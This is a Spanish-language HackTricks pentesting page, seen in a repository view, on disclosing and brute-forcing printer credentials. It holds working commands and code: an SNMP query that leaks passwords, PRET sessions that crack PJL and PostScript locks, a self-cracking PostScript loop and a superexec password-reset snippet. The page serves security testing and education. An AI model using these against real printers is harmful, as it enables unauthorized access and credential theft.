hacktricks/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md

107 lines
7.1 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Divulgación de Credenciales / Fuerza Bruta
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
Las impresoras suelen ser desplegadas con una **contraseña predeterminada o sin contraseña inicial**. En ambos casos, los usuarios finales o los administradores deben establecer activamente una contraseña para asegurar el dispositivo.
## Divulgación de Contraseña
### SNMP
Las antiguas impresoras HP tenían un OID vulnerable que devolvía la contraseña. Otros proveedores pueden tener problemas similares basados en SNMP.
```
snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …
```
### Pass-Back
Si la impresora está **autorizando a las personas usando un LDAP externo**. Si tienes acceso para **cambiar esta configuración** (tal vez usando una interfaz de consola web) puedes hacer que la impresora se conecte a tu servidor LDAP y autorizar a cualquier usuario.\
Ten en cuenta que también podrías abusar de esta configuración para **robar las credenciales que la impresora está usando** para conectarse al servidor LDAP. [Lee aquí para aprender más](../../windows-hardening/active-directory-methodology/ad-information-in-printers.md).
## Brute-Force
### PJL
Las contraseñas PJL son vulnerables a ataques de fuerza bruta debido a su limitado tamaño de clave de 16 bits. En menos de 30 minutos puedes adivinar la contraseña correcta.
Puedes usar los comandos `lock` y `unlock` de [PRET](https://github.com/RUB-NDS/PRET) para probar la fuerza bruta:
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection: ENABLED
Panel lock: ON
Disk lock: ON
printer:/> unlock
No PIN given, cracking.
PIN protection: DISABLED
Panel lock: OFF
Disk lock: OFF
```
### PostScript
PostScript ofrece dos tipos de contraseñas: la `SystemParamsPassword` se utiliza para cambiar la configuración de trabajos de impresión como el tamaño del papel, mientras que la `StartJobPassword` es necesaria para salir del bucle del servidor y, por lo tanto, alterar permanentemente el entorno de PostScript.
Los ataques de fuerza bruta contra las contraseñas de PostScript se pueden realizar extremadamente rápido porque el **intérprete de PostScript se puede programar para literalmente crackearse a sí mismo**:
```
/min 0 def /max 1000000 def
statusdict begin {
min 1 max
{dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop
```
Otro enfoque es **bypassear las contraseñas de PostScript** restableciéndolas con el operador `superexec` propietario de Adobe. Este operador reside en el diccionario internaldict, que está "protegido" por una contraseña estática y mágica (`1183615869`). Envolver el código PostScript en superexec permite a un atacante ignorar varios mecanismos de protección del lenguaje, que normalmente generarían un error de acceso inválido. Esto se puede utilizar para establecer contraseñas de PostScript sin enviar inicialmente la contraseña actual, como se muestra a continuación:
```
{ << /SystemParamsPassword (0)
/StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec
```
Los comandos de bloqueo y desbloqueo de [PRET](https://github.com/RUB-NDS/PRET) se pueden utilizar para probar ataques de **fuerza bruta** contra contraseñas PostScript numéricas (enteras) o para **burlarlas** con **magia superexec**:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0
```
**Más información sobre la divulgación de contraseñas y el ataque de fuerza bruta en** [**http://hacking-printers.net/wiki/index.php/Credential\_disclosure**](http://hacking-printers.net/wiki/index.php/Credential\_disclosure)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>